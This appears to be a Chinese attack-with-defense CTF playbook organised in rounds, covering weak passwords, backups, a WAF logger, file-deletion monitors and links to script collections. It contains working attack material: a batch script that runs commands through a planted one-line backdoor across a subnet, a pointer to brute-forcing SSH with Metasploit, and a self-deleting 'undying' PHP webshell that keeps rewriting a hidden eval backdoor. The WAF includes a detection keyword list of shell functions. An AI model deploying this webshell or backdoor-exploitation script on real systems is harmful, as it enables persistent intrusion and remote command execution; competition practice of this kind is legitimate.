AWD攻防技戰法

 round1 弱口令

cat /etc/passwd  查看用戶信息

修改用戶密碼（passwd  username）

通過ssh弱口令批量getshell  （通過msf的auxiliary/scanner/ssh/ssh_login模塊）

還要修改web服務的后台管理密碼

 round2 備份&找后門

端口開放情況（linux: netstat -utnlp     windows: netstat -an）

 

ls -a 查看隱藏文件

 

WEB服務

備份並下載源碼:

tar -zcvg /tmp/bakweb.tar.gz /var/www/html    打包備份
scp -r www-data@43.224.34.73:/var/www/html  /root/myHacking/web  將遠程43.224.34.73/var/www/html目錄下所有的文件傳輸到本地/root/myHacking/web目錄下，-r遞歸

用D盾查殺

一句話后門批量攻擊腳本

import requests

for i in range(101,131):
    url="http://172.20."+str(i)+".101/shell.php?shell=system('cat /flag* ');"
    try:
        req=requests.get(url)
        print "172.20."+str(i)+".101",req.text
    except:
        pass

round3 部署流量監控、WAF

(1)waf.php 記錄別人對你的所有敏感請求，  將其部署到配置文件，或者你想要監控的文件下   （require_once 'waf.php'）,會生成log.txt文件，查看請求日志

<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');    
function waf() {
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
            }
            return $headers;
        }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    //rewirte shell which uploaded by others, you can do more
    foreach ($_FILES as $key => $value) {
        $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
        file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
        "Get" => $get,
        "Post" => $post,
        "Cookie" => $cookie,
        "File" => $files,
        "Header" => $header
    );
    //deal with
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
        foreach ($vpattern as $value) {
            foreach ($v as $kk => $vv) {
                if (preg_match("/$value/i", $vv)) {
                    $bool = true;
                    logging($input);
                    break;
                }
            }
            if ($bool) break;
        }
        if ($bool) break;
    }
}
function logging($var) {
    date_default_timezone_set("Asia/Shanghai");//修正時間為中國准確時間
    $time=date("Y-m-d H:i:s");//將時間賦值給變量$time
    file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
    // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    
}
waf();
?>

（2）監控最近10分鍾被修改的PHP文件並刪除

import sys,subprocess,os
#查找最近10分鍾被修改的文件
def scanfile():
	#command: find -name '*.php' -mmin -10
	command = "find -name \'*.php\' -mmin -10"
	su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	STDOUT,STDERR = su.communicate()
	list = STDOUT.split("\n")
	#print str(list)
	#將文件處理成list類型然后返回。
	return list

#讀取文件：
def loadfile(addr):
	data = ""
	#如果文件不存在就跳出函數
	try :
		file = open(addr,'r')
		data = file.read()
	except : 
		return 0
	all_data = addr+"\n"+data+"\n\n"
	file1 = open("shell.txt",'a+')
	#避免重復寫入
	try:
		shell_content = file1.read()
	except:
		shell_content = "null"
	#如果文件內容不為空再寫入，避免寫入空的。
	#print shell_content
	if data :
		if all_data not in shell_content:
			file1.write(all_data)
	file.close()
	file1.close()
	rm_cmd = "rm -rf "+addr
	su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
	su.communicate()
	print "loadfile over : "+addr

if __name__ == '__main__':
	while True:

		list = scanfile()
		if list :
			for i in range(len(list)):
				#如果list[i]為空就不讀取了
				if list[i]:
					loadfile(str(list[i]))
		else : pass

（3）一個簡單的文件監控示例腳本，可以監控創建、刪除、移動、屬性修改操作，自動刪除新增文件或目錄。已使用pyinstaller打包成了linux可執行程序

https://github.com/PlutoaCharon/AWD-Attack-Defense/tree/master/CTFDefense-CTFDefense/Monitor

round4 滲透測試與代碼審計

這個就看個人能力了，沒什么好說的。

找到漏洞別忘了修補自己的：  

AWD攻防賽之各類漏洞FIX方案

round5 拿到shell之后上傳不死馬

很多時候，找到一個漏洞，然后注入不死馬，就高枕無憂了

不死馬編寫與防御參考：

https://www.cnblogs.com/unixcs/p/11301377.html

https://www.cnblogs.com/gaonuoqi/p/12057662.html

 

不死馬：

<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

.shell.php?passwd=passwd&cmd=你要執行的命令;

防御：

寫入速度要大於不死馬的生成速度
<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(1)
{
        file_put_contents('./config.php','11111');
        usleep(0);
}
?>

用bash不斷的刪除文件

#!/bin/bash
while : ;do rm -rf .shell.php; done;

round6 tips：優質腳本合集

• https://github.com/admintony/Prepare-for-AWD
• https://github.com/PlutoaCharon/AWD-Attack-Defense
• https://www.cnblogs.com/-qing-/p/11182162.html

• https://www.freebuf.com/articles/web/208778.html